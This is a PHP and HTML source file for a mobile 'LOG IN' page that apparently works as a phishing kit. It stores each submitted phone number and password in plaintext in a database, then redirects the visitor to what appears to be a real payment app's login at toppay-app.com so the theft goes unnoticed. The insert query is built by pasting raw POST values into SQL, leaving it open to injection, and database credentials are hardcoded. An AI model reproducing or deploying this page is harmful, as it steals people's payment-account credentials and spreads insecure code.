<?php
// ===== DATABASE CONNECT =====
$host = "localhost";
$user = "appwebt1_clolo";
$pass = "appwebt1_clolo";
$db   = "appwebt1_clolo"; // <-- apna DB name daal

$conn = new mysqli($host, $user, $pass, $db);
if ($conn->connect_error) {
    die("Connection Failed");
}

if ($_SERVER["REQUEST_METHOD"] == "POST") {

    $phone = $_POST['phone'];
    $password = $_POST['password'];

    if(strlen($phone) == 10){

        $created_at = date("Y-m-d H:i:s");
        $status = 1;
        $mpin = "";

        $sql = "INSERT INTO users (phone, password, mpin, created_at, status) 
                VALUES ('$phone', '$password', '$mpin', '$created_at', '$status')";

        $conn->query($sql);

        header("Location: https://app-web.toppay-app.com/login");
exit();
    }
}
?>
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>LOG IN</title>

<link href="https://fonts.googleapis.com/css2?family=Poppins:wght@400;500&display=swap" rel="stylesheet">

<style>
body{
  margin:0;
  background:#fff;
  font-family:'Poppins',sans-serif;
}

.device{
  max-width:390px;
  margin:0 auto;
  min-height:100vh;
  padding:20px;
}

.header{
  text-align:center;
  font-size:18px;
  font-weight:500;
  margin:10px 0 40px;
}

.input-box{
  display:flex;
  align-items:center;
  background:#f5f5f5;
  border-radius:12px;
  padding:14px 16px;
  margin-bottom:18px;
}

.input-box svg{
  width:20px;
  height:20px;
  margin-right:10px;
  opacity:.5;
}

.input-box input{
  border:none;
  outline:none;
  background:transparent;
  width:100%;
  font-size:14px;
}

.forgot{
  text-align:right;
  font-size:13px;
  color:#2a7bdc;
  cursor:pointer;
  margin-bottom:50px;
}

.login-btn{
  width:100%;
  padding:16px;
  border:none;
  border-radius:12px;
  background:#8a8a8a;
  color:#fff;
  font-size:15px;
  cursor:pointer;
}
</style>
</head>

<body>

<div class="device">
  <div class="header">LOG IN</div><br><br><br>

  <form method="POST">

  <div class="input-box">
    <svg viewBox="0 0 24 24">
      <path fill="#000" d="M6.6 10.8c1.4 2.7 3.9 5.2 6.6 6.6l2.2-2.2c.3-.3.7-.4 1.1-.3 1.2.4 2.6.6 3.9.6.6 0 1 .4 1 1v3.5c0 .6-.4 1-1 1C10.3 21 3 13.7 3 4.5c0-.6.4-1 1-1H7.5c.6 0 1 .4 1 1 0 1.3.2 2.7.6 3.9.1.4 0 .8-.3 1.1L6.6 10.8z"/>
    </svg>
    <input name="phone" id="phone" placeholder="Enter Your Phone Number" required>
  </div>

  <div class="input-box">
    <svg viewBox="0 0 24 24">
      <path fill="#000" d="M12 2a5 5 0 00-5 5v3H6a2 2 0 00-2 2v8a2 2 0 002 2h12a2 2 0 002-2v-8a2 2 0 00-2-2h-1V7a5 5 0 00-5-5z"/>
    </svg>
    <input name="password" id="pass" type="password" placeholder="Enter Password">
  </div>

  <div class="forgot">Forget Password</div><br><br><br><br><br><br>
  <button type="submit" class="login-btn">LOG IN</button>

  </form>
</div>

<script>
const phoneInput = document.getElementById('phone');

phoneInput.addEventListener('input',()=>{
  phoneInput.value = phoneInput.value.replace(/\D/g,'').slice(0,10);
});
</script>

</body>
</html>
